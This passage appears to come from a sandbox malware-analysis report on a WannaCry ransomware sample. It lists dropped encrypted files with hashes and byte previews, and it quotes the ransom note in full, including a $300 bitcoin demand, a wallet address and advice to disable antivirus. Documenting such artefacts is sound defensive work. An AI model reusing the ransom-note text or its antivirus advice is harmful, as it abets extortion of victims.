                                                                                                      SHA1:5B1A11F3D0BE699B8A7F559EEA0EE422EFC951EF
                                                                                                      SHA-256:7A8A629747E3D865CB8028B53D3B13066811DFBDD6D475CF72B9C40EE823B162
                                                                                                      SHA-512:91D6EA8BD2A968C09C5CED51EE22A50AAB1A828FF3A87B857417F5977761198E39A0B98BDBF2FBC2AB25B0FC81E6BDED7A1F61B03FC800AB2456B197627DB636
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......3.C...~.?..\.YE..RX.(=..a.S.!.`b.4......j4zP...@Y.9......o.....Q..m...~}t......:.]W...'.wL..K...Q.......:..KN.J......*..s..8.l`./m.I[k.... i^.....D.w....bn...+.....c.n.'i...?=..VY.".S..".Px39.r...H?.P..=..J..x.%..Y..M...l..4..J/....K5:..{{;.............l.{/A!..=<..@.6.@.L<.vc..|k....6...X...E.O....C.....kw.cL^....d...>H0..0..<'..Y...<.r...$..d^yje.}..<{.KO+E..27.D...[B;.E8..0{.JA.....M......Q....=.B.....1C...d.$...........i.t[..HO}..F..R.E}&xw.$...<d........?...U#..jr..y.hkCP..ud.F.@f..b....^../u*B...w...[.......p..l._.(..........F+&...hC:.....K.=ye. H.2=9;.B...../.U.\$"N......!kd^..Q.;.....'0...T_.....s....jF..u.m.....P:.5/ ..K .P....!.#...$f.o*.V.X.\....D.?...zG*...:..R..(...JS.oAX......R...d..U..23.\.....<..Lv..m.JN..DMy....`u..C..F.'@......gL......@..T.....dN.tf....5D.0..$.....s.U..........^.".i ...[...p.i........2..:@...v.#..,..A.H>.S...B./@.X..x.>0.M{ 2......W.I..]D(.HC..."..QwaL..........J]^Ba.q.hg....6......y0

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.855506978388011
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkm+L2jNfjxyYUx6j1tFl6l7QFn651x+IlA4vd/r2okv1BF6BYxOf3/:bkzLIh1y41ZwQFn65zxp9SxvZpU3/
                                                                                                      MD5:AD08A2B7435AA901E757822B31CB24D7
                                                                                                      SHA1:C53AA599DE6ECBC3204C73010F4654F2C654B175
                                                                                                      SHA-256:D9C4569079E5448D92EAEF40E7AD7D6D23E0419811C052C1D399888BCEC9E7F9
                                                                                                      SHA-512:0CFAD0CBE51D247646851A357339E4128ECBF279D258416826A3E34340D2474FB19B62EEC0A792781AB7B1353E8E7140F708472A41384FC7D9FECAC9808AE9C8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\.Z.XA.k%..+.t.$...{jP~i..Z..R..n..gu-...!.....gS..2...I.`......H.5.M..M.)%.c).yt .}.jC.d/....6.Uy.....$'...w$........H.?.dn.@Q.0z....s.He._o`...a@...Y...u.[...}.o...m.5`.1.q...2V..8.0.;.k....1.&\$|H..fKI.........wI..../.&Q?_.WG..De.<#.5f...................?3J..1......fm.P.....|. .5..m.L~.*y.,M....4..!u...x....#..2z.].^.A....2.;z=v T.......%..m...).7.\zcI.j...."....(...P..k.y...y}.BM..7.&l...51....#/n.-.....Ux.....6...b.....AN. ....2..s..X........Zg[dE.....TX.....u...-..PR....z.m.(.G...............M6.=.6F)....UO~.U....E.A.P/HK.p..r..f;.KD..l<R.Gz9r..zV.e.'MJ...KbKq.M....z... b.Av|(p*N.A...^.Bt*.H........./0...I.....,.ps..{..X..e..............2.r2....s.pi&..gl..$:1....q.b<e.nXD..o.I.r..+.7*.......e........*.CO.|g...U-.-*..+.C...aI.0,..T......A.+..y..........X....?.-......F..6q&c.!...`#..j-I.....6.wwPF..........NH......\+....`J.|.3i.s....F.Osd.z..#.6@[..8.c8..\....,...#....\.....uB[....)Q..n...d. Jw....(...|......i.[.".=]]..

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.849996297596796
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkywKekPXm2sLXpsBTjy4YdKAp9pqOLF7mj/rvZwp/H06P8syGLMUxH:bkyokuTXyBTmd3ArrOtU6HH
                                                                                                      MD5:DA88261DEEF1504C17B322BB22A32332
                                                                                                      SHA1:95E864444D8C3A15F6579CD183CA92C73C68BCC0
                                                                                                      SHA-256:460B34AAFA780829F7D3DB4DD21B193E7EF54E5F36F5DFA5D987D2F3905B3A28
                                                                                                      SHA-512:A552179F7BA0AEE0DC4416BD00BF1DE7D4FFDD383A512A28A82C9E75A79972608A33A7A07D2C19CD31E184360B861D543FFD59DE31659DF15C89D5D3818C647A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....P..4f.'B.<..0.L..3..Y.(..Z.......Z..e..'p....t$..-08H.UwS...q.Q...........J..y...xE..>.6...,p&b..6...r..7&%._6...!B_n....=zF5'....;\nD.Hx.G...~0....hM....1....Ke.....%....Q..I..].v9...GR....P2..]{.9~.....{..j.\...[..-.....l}&..\.].M.hBIk6..+..2.u*....(........Z..^.......^........M.D'.6..u..,E.wq..:P.\U.Tx.h.,.gG......S.x.A:..8..l2GX....(.;.8.Q..FS.g[v9......Y..M&^.B..td1.....q........3>..&.W...e=9..:.....Q}....Q$.)e..l"...m....k.]mo.:1....e~...Z.....'........V.mK......~..w@....l{...}?w.r.;..........h...]...6...xx...Y.$..sI...>'+._s.......5.. L.;.O....e_.e..~J.'~.=T.`.q?.W.H...a..]l.Owi[m..FPkK....kB..t....s......3n..r..#P...&.Q-X...k....e.JD....y...J.IZ...)|...l(.....M....7...>T*bf..V..I.....y...v.,.....&k4+!...x6S3...dO....C........Mq..?.)..#.&.......Sh.`,f.7Q.Z^.:(..9.... .t.W.NTL-M....}D.`.>.a...E.XuB..&.*..5".....au..-|......n..E..e........r<.A..D........1P..!.....6......5\.y.....9.........k.........t......H.....=.eT(.....

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.83683924696612
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+Cp8LXS9q7CpGup1ThsbOPFVfXUm+ahzfzDF+JgcQEkOVsjMvtYzpSuqAg:bk+RLfCz1TT/dhAtjCeUpa
                                                                                                      MD5:F0B5C3E5FAAD071752ABC7D56B41FC5F
                                                                                                      SHA1:8139CD9F634606CA9A95590216C8807424F51EBB
                                                                                                      SHA-256:98B000B7B22CC37BE124568633B3033FE6218C2EAE0D123722842ED3F13C9CA8
                                                                                                      SHA-512:40F23D1ECDAE8299AD830C7950984B0B605A7D6D85258BD4194AD3E64C8022086ADC4B63AACA8ACC62F09AFC0685C57B55AD8BBA764EB2B1911BCEC801234993
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......+.........^........0.!.=...&.....&?.@7.d......l.......#.`......D.A..M..EV......E^.t..h+.d.c.......W.8...&.P!D$. 2.aQ...I.r.PT)...g.S.b......d..(..$.5.!.l..L.R....eA@02...)%J.j.df... ....-G.........$....]e..X6:.@.><.'.p68!..K&.{.....|zut..).....(.......m.8..RL.g...BV..m...L]..gh.n..L.rG@..p.Xzm..L............uF.^..Vlw.[..5...#i..Y*3..`..%..A.w..6...|..d....]..|b..c..j...O..d..n.-.Q...I..9.)...U.p...< p.9..J.....gH..|@.k.*.jPV..F..-...w......(=...=....[8H+..(...b.K........pxx.X.. )..l.Uj$....(....Ri..c....=.....p...{.F.#.3.j:M.h.r.`...f...P.i......S..D`.A.E...\..xKT.<.q..W....2.[.......B.-.AC.|...F<........M...N..gM.<.C..Ux@....].<.Bq>....{.....;.....A.e.DXF/..r=/..Zj.l.A.fe3eK$|<......sVN.g.......@........g3..1......0.tb....7..6nm.G.I....=.N...R..Hn....y....4@.n...U..SK....P..6.........)Wufd3.|D.vV-..W..8...}...M.%+I...h......".4....4C*. ...(...._..6..^P.o.. ...uT...}Q.H....].X..?.G...._.,....%.....}...b9B..6:T......l.}.gMi*

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999257246777688
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:B84v3BthCWe0q+mzqOFJkhtCcNdtmqDNmvcUjbES5FF:hb5POkhtCEnJDNGYG3
                                                                                                      MD5:D51CF3F7DD6574E492A82BB4219B9DBF
                                                                                                      SHA1:161D96E5C49FC45D87A06E18BCCE1EC7C09D8E48
                                                                                                      SHA-256:723BC6D9EA78EB12CA39B037FD5AF75EF2E427275EF6F5D69685E2C64BD8E1D9
                                                                                                      SHA-512:22940E051525712FD4B2B8C8185BD14441ED4CC6911C6DF33D8BB78C1E7DAC1580EB292742895BF535B36DAFF116A5D0F11480F5095E622668658DD008F47245
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........q6..jJ....e.K....vB.....uP..N...-[S..W.8}-...Y.{....E.$..q.K@*.2...g.i{...-...`...d....".=KS...5T.9.F1..y.7l.......m....,.P%p.vy.OJ.....il b.a.....@..g..8Gm.u..$..a...M..:@.=i............b=.pn.../C6.rn....Ky. k.'@...n..V..1D....(E{m.................3T...*..8.P..1...k.?....]/.O...=.v .%.bV..>....G....WY2.^.\d.n(.9c..B........q.`......~95..-.k!A............n.Lkx{.{_t....w..d......).3..G..FK......>E..u.....Ilx....^..c.....h......d.Cm.#...A:.D.nP.F...1.|<..kx.H..k-a.p...M.YR.*NZ.).B.R0..l....q.....E..........1^b.Aq.....g.3.5....o2iV...d.\(#.'..n...-9..Q.9...6.R.1...........m9.jm4..1n....&..']{....A.x..h$:M9\.'.gW...0.......,.vkZ.$.\F..........N%N..B.P@7.P....!...t.......3....".Bz....z...9.....+...x...@{.....Di...h.p..^.b,.c.M...)...A=...T..S....i.J?..N.cx.:.{FL.0B*...[..\...N:.0d.........p..&..YMg8..b.T.u..ick.rw....S..m.Z.......U..[^......Q.......D.;~o..qo<..j.l.P.5;1G...KC|....G..4.......m...<a.%\..8P=7.,K.r.

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999374966768788
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:qeHlSSYxBO2fQBQuNWik3z1sXSmbr+JE7he/P1pk1vCiFiSKd5ts3XPUcUjs:qClEkk3zDS+JE+9pXg9YYvJV
                                                                                                      MD5:F718E14F79C16CCD789550D68E24A8BE
                                                                                                      SHA1:5ACDFCE54884BDE85ECA3AD46E28FF4396388C49
                                                                                                      SHA-256:04DBABA1CF37C14A0660FC9563DA9EE664B74E5069E9D7E24AC1512EA5404AD2
                                                                                                      SHA-512:16008D8E7AA5799B81E722762E2E823896802FCE65E26DCA83A4DDEA8EFAF4ED1BCC0E9A754A48AB9DA13E104E3E41B2AB8AB3FB52E06F0E2437FB00D56459C4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....H.C 7...l.g.I...gU...7..^Q..l........J/.a'z.W!)....M.4q:....v&{.Dnx\..$3F....\.(.......N.OK.......`W.?3..N..a.Y..O.XF!......M..X.......s.s.e.i...%.R..7.9)1t..S.z.......)r..bT.H<.t.K..Z..&..*1.GZ..j.c.Ro#cI.....{b.8..I....$....q.d^..!....=.<s.s.A.............X..MZ.N.....=k.....":Y=....|K.A...2.........(..Nj.U.U.l.j.`......|.....o.i..V#...yR........Y.SsKh..}.>{.._.o.fO....R4.>.<;G...v.......c)=cS....6..d .D..)o99....n..0i.H..vbZ.\......O?.g.+....!..C.)4s..&..u.sYh..;.Y.P......&.......]...~.b...V.ay..O..U..3+..VR...3..m..$.m.p..2..\..f.h...f.s]..Fu^.3%X....n<.~.Eq...P...6..L\....(^.KhY+..{....&sq...wa...4T.f...^.4G....vc..<..SU.......w.....@.....(....g.....e.....v..3.h%@2....s..'E].K6...r0,O.........ymu..-p6y.].....Q..i../u..2p...<.-F..1.6.;'.3...!..L...ep.l....W.y..4.`b'9..F.:.e.a"Q..0v..l.5....I...~..9.u..Ye.os....^FE....)..8..|../C..].."...J..........L........F^.$..mj..T'..+!..G....b`Jy..Eo..b.l...Z&&......;...c..5......E..1.b.F..

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):297144
                                                                                                      Entropy (8bit):7.999386164100838
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:9kwR+DkQ/iMAPDeZLhHDPOK1IKhRYKyEYAOJPVblMHcKkAboqPCP:6wR+DkmiMAIHrOAFykOJ9KH/fbxg
                                                                                                      MD5:41C97D2817A9984534EFE3348A143617
                                                                                                      SHA1:45AB3E111B5B2F7342409038793775659D6CFDE4
                                                                                                      SHA-256:4D4A5B4964609643FD2DD12ADAC78C5E63E269CA44FDA00718B50F39EAB5B585
                                                                                                      SHA-512:438DA66CEA0C8CEBC83C4C502FF1D2CB523FBC7D4CA2D16CA4DD4BBD9B807C46BF3C79E841EE41ACB6984B3C984F349F30E89ED43191EFAB283331C67F7BF24A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....Ju...\...R.P..&.x....U<o|.{'V.z.....c.y..*....I....k.....p.PA.S.?+0....o...M(t.`A.C....c.._.u.F..z{..g.'.?.yZ..i.md...$o:D../Kw.Ov..a....U.Ly../.,..F)A.....b.....j....)$...`^A.ke.Ol..kf...`..4.ng.S...J.J_L.[.2..>..>:Qx.{X.....|.F&..S.H.b.v..Pf............F.C.e.....&...L.$...H.k.$e.O1.:F...30..>.L.dR.2..D_:r.;..Q....29.PD.=.+'.H\.....$[..W..`..\.....$....^7.~..E.s.E.....6..V......i...J...o&...~.?..J....Sbt...e.)@.;..=Ukq...r.*.F.p...0..r..7a....O/..../9p`E.6..d.,2]..@.S..e>..O....&..~...(.~..Q.&...?.,.#.4H7e.....f....W,,........M.h..X........4....5e..u.H&.m...A.........8.m.a..3...k.{k...);...*......6.3..k.....c._?..O9.f.U..S....tKwo`......7U()....k. .[.XZ..V.."yE..fq.X.'..(...7....i...?P.....l~......Tt.$...C>..N..h..3.l...ybo.3..C9..G_.....6..t].[.r..R:-....9......Z...\.....n.6".1...F,.[......._...`.n.......X..o...1,............IN...iE3e...~..%..H.>hT(.....}=7.R....GG?.1N..+..#..M.G....D.w>......E.A...0.........X...+.Uj...l!.....

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.871537816292167
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkqtsSKJATlIactysOyOiixqAqXySuhLGiTPN8SZS8IVH/YMqwB9:bkzSsATOQ5ynixqA6ySuhaC6X8iH/YMj
                                                                                                      MD5:3AFDEBE7363E146B572F385A1B0C3DC8
                                                                                                      SHA1:BB6CECFE106598281CCD510D5278D50D1E6D5407
                                                                                                      SHA-256:391A272AFFF9309EF31F2408E06667424082504D4E121F38524E70E536DB7A82
                                                                                                      SHA-512:18AF2DEA270032DD70D71A13DB34C4DDBC3EDAD78C45697189F55882D87D60E5B57CC93368B2F00ACD39DF60AB81D0AE44191DDD8DC0CAC71069E296BA48F2B7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....)w.Mk.S.....~...~.%.\.........#.,........_....o..FN...]...mn.j........:.z;a.k....#....g)..d.......p.....(.,.I.......Z.X.c..68i&cY.......^.....N:..<...7g].....P...<f.Zg..Z~..:.p...q.g{P..0~.7:.v.y...|..q>j.o..G,..S...8,~k&.;.R.9=.._|....\..C ~....(........9.-.$^.2Y.X.L.Qlx1..."....D..?....'..f.>.S.H...@...^.E.+.....>.P...g...L.=.1\..w..0'..o'..{.-..yf<:.$.h.zyiR.F..2P.t.=>...;..Gd~d.)3..1KQ....k.b7fKE.-.A.Xd...)zi3-F.c.v.t.l..'HR.....T*..|9.G../kA.1XsI.{.u........%..&.r...r..*?...r.w.+.%;D...Si3..|..mJ.3...p2..h..>..6f.(X..o...X(...7..p9.l.q=P."u.{2c4r.....#y.R.....L..r...s.....sn..m~...QD.M.C.L{...m...<.&aXo..Da1J1.h..n.....1P....,.M...f...>...i...m...\......w2.M.5.[A.............|...tI...Y.va....~.h..?p.+.oU...Y...F5};.E..........".O.5..Q.|]=\6"...`... .9..!V].....*...`....W.}....8.Q.}....3..$........Bf.:.G|`.m.^..H..+.Hd..F.RQm.R.z..0.3........3...>.j....(^..bWJ......|.-.j.oe.iT.>%.P.Z9.....-t-...-..F....hhKO.\d..%....3.U

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.8444208704324865
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk9S3rUxtV6/jJntkhmxEq04qdV4qVaevaUZw5EbwwLaLn/CiGFZGe+h:bk9SQzV67JCmxKVXVc4wJwL+0GBh
                                                                                                      MD5:A4BCAAC8834BE208C3ACF48FE091E1BD
                                                                                                      SHA1:A53EDC2DD8DAC883C66F88899A7272DB3F011B26
                                                                                                      SHA-256:531F78254DA73CA59BF64971AB7370D29EB9246874B3112F7299F1E8F1BCD8D1
                                                                                                      SHA-512:12B0BA149D06E77FB78DC1786202BFDD48BE258B7C278A169BB81559CC49FF154310034655B2F4D177328BB3159E62B31D08904C11BE111991D2AC2B1AA2EAC1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....i..F......A.....K$.M.2......7.....+.|2....P.>..]._..l..m...1.eq..Iq.=.0X.......q..U.L.3y33. .=V{...2.Krp.7y4%.B.".W..........c.}.^..5[.....~..2.Zj..........3q.I.e...!+@..n"...&.,./.....s.q...M...../..+..(*.0P.?...8`.ac. .5$...&.....-..(.>..0.:.gM......(..........2.q....\.Z.....S..w;..7....o.sG... ..G..bjJ.2...].......G`..bt.,W...xL.....9d7v........?.D`2..J.1.....=..>...*...Tj.z.iv..C....DRT6.?.2..4c^....".}.f....y4.U...C.D..3.....P.]7..\.s5"......#.OI./..o.>.S./.\.d`CA...O...'m..%@.9.1.....$.........>......i...o.... {.au.dp...d..)..../)Yo....*~....3..!...d..P..r{3k.y.0..cJ..=...y.f...z:..p....x..N.5...72.I..d........*=.Fxk.\.E...k.......t.\.+m.j..n...f.........:Di1"...`....1l..W....5+%T.+...,..a ........q*.([g.....D.x.,m...L....!0g...5.E.*..(...4@k.aYh..J.r<K....?...T.K#....\.m..wg.}...x3.^.....L....."..Ak....oz.<...........y....C.6....)d"...|..N.GR...29V.8..o.k....8[.....Y;.r.IN.G/.P6.j.D....i:K9.Zx.c.4....d.2..x.._@....7W..

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.861175423374499
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4OdxaQp5wnUth7uAWwIPakP+pJw/Q2I2drJCyPSJfv/CVvaX+PVWmS4QFoaCoK:bk9dxnPHWwIiRJw82BZ6lvaGl4QFoaC9
                                                                                                      MD5:A57205A7D93B12FA3A7822A83EB7341E
                                                                                                      SHA1:7C2D0B324F6D208D1C5D1EE08E25169071BFBB29
                                                                                                      SHA-256:9CD80B0D7BA655DCB9C31E91DA66264421FBA6D0D18EF344AAD06B9D929A19DF
                                                                                                      SHA-512:CE647008DE23D12AC5BE8969825BC92B7457E6E54E43E55292151432608501FC08FDCA0C7825C181E95B767153EDC081E6E3A0409925844F3D848FE9A9006C4E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....I.....E...^.l..O....>.6...VB..i#...W[.:.:.....O6.q-."P..P.U...;......^Wf.m...].G(..&.#.....D\......A? G...pw.S.......xaO......`\..\.0X..G.K.O..G!...i...B.".%..@f.........B._....7s....^..._gW..W.z....\....8.}}.....1"...ym.wpE8.Z................-g............C..pl.'..5.V.....].n......%].O..o........b8I-z...6..;.}.2........<]..s^)..m.h....s..k<..>8.1..........c....H..S.....&o..K...VU.........._..?.....*.............erN...=k..lq..pS.w..{...3gK.g:!P...&.}.c....AVA..b..|{Z,.T<K.b...aX.Xro....+.....\.m...~DhCg....][Q8.....[.N...../Wp.Yi...w.}3...L...;.uN.......#....dU...f\/7dC..`..2gb.&.g..<.V._.. ..#..iU....cL.L]...Jq..q.......f('J)..N....Z....a..Q...D..........o.u.n...a...e......8.<.......d.Q...s...gA..@..g.9...U.a.3..!....:.r.".T.Qa..w.u.WXWV...&;.@.4Xk.........V+...("BM..x../...wB.Ii&;....4........B.....v9xe...#..E.i.is.2....0.4H.........I..a.=.8.8...x.ppPbw.-.+.J.."vf."9]..$C......^.?;m..P..?0.P...I....s.T...f<..^vzv.:a....`#:

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000003.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1528
                                                                                                      Entropy (8bit):7.855387040293449
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOCvrG3Fh7Lz5rvInPbH9VpwsF80XaAp7M2mV/TpY2qd/q9fl65AACbnYlFypb9:bkvva3Fh/unPbdP+0X1pWVtVS/154bnX
                                                                                                      MD5:4BDD1902142163BE5782CC9EA4CD880F
                                                                                                      SHA1:07E78DA4ECCEB767B8AA9D2716CD4C8FEE0CDEF7
                                                                                                      SHA-256:C3AB655CDE1C83A85D08DC38D2A8E7473F9A2DD92A50D0FD1F703BFC08924846
                                                                                                      SHA-512:13DC2627D3839EB6433946CFF6F96F2205209E00F8F5BE29D3495CEC848566F8C85D2E7C8E8C293F97EC1E1BEA4143ABAEA6D44CAE12C77D3E6AB4613DA21CD5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....1&..h.B.....K.5..bDX....O?..e.H..........f&..>.eC........g...{...Z.#._n..A(..).I}.V..y.....o.....,.U....i.....,.).\.5.`\...*..+5%U./?j......\..E.x..[.eH&..,..X...f....I....9`t........F..N ..`E;.5e.P...$q[l.....|H..FJ..\ %$..=w..a....H.](.+$.d...|.............f.\i....D#.U....5.G.(...E...!.3.4'......C.Qv.i:-2.&.?......0.NP....n.Pn.Hc)<.....k.qZ3..|#.}q..%.~.xh...',....[..~m.......J.fm..`....I....C....\R0.G..T...I......7G.h.b..I.T.\...`~......l..3....f....m.!.'.<d.........=y..'n.27.7..G.!,.X5]EK.D......R......#....u...'.vN.U2-.$.HWA.....k;.........w........#F.,4..^ky6...x.....FsdZ.......g..:.aw.7.c.\...Opqo...H...I&.........9{[.._.d+Qb}Y.p..u.uf..bXQ.u.!..w..[.w.2K6Jl..........fP....(.Gn0.....O.M. .}..,..fy.....Im.l.*..l8.....i(......\......bF....M.^K..z..4.D..qg(..-...4Q]^B......g.>%.$..h}@...{v.9[.b.d{.h;.D.....vD/..m.g........Jv.1f..H...&N.O..` .[H....E!...8!`$..FI......$.....".{..K..............0./...@....?...v.V `j.7.w.1.<...

                                                                                                      C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):638136
                                                                                                      Entropy (8bit):7.999759021293841
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:Tqee4m3kWw8pZ7jzCaJj10ZukPA8Hd6U1tyV/fNF+PN9UK+EjGw:+d/ww7660ZPJd6UDyVnNEP7+EjGw
                                                                                                      MD5:E38420C6683F7946EF54C15ECB05ECF5
                                                                                                      SHA1:D7CDE4155433D76005B433340017A7481E29F81A
                                                                                                      SHA-256:83AD31338F0467684EB9BDB945AE8FECBFF666C493ED7EEAD104D03C7A69EA27
                                                                                                      SHA-512:5BD0E5950356F65F507DBC91ABF06C959F5DEB23082DF95C3868577C80AD9E1AA9857C1FCA3F0282149641C8D0F002BBF26E296547326F18D4BA65C9075BC8F5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....=w.......)./..8Bd.....n...P]J~...}6...N.L.....A.n}.R.uF.,..lY.....`.'M8c_.P....9..c|......(...N>...z(R..:/.m..U9..14...x%.h....!.9]....v....!..m..M.!...h.h. I).....h.Y....E....Z......v+..]V. .$>.jp.$.y.W../..V..R.{....:.s....NL.Q..R..Dzh}..$F...............l....3.xq...#.q.M.f}#9.R..3.!..\Y.....2....x@...{.&...H. ...S>s.?..U.c.+(.......ox.s...z:.+.....$..S..........7W.8..0O;.~j_.Y..I.gv..2.:.1. ."...v84r...w...O.4........1...s.H.GQfv<S.9.i~|....)....6t..0......)d.....=...F.....i..`...B..LF....4..0.6:..oDe...:..y.b....\..._(..X..../.j..P...Z..~_..2xO...9...0K..\)Q..X..#9....$...1.....'.g.,=dv.N.......%......W.9.....E..Tt..C..<..*.k....5$.Y1.aR.......95T.Q.})..=.....ra........#WY....z.._.%..(L.K...r.Wc.....2....q.-...m..:...;....>.Q{.{`9..~......."...#.........g.1#0t.j.....t.z....L........>G.a..4.0...b....,.....3...y. }JsFO!.k... .H.dp....TZh.E......C..\.b...8.i4..].s"/Q.D.}.j..C....2..b[.HGI-.h'.1..2.....48...K.ctxN

                                                                                                      C:\Users\user\AppData\Local\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\AppData\Local\@WanaDecryptor@.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
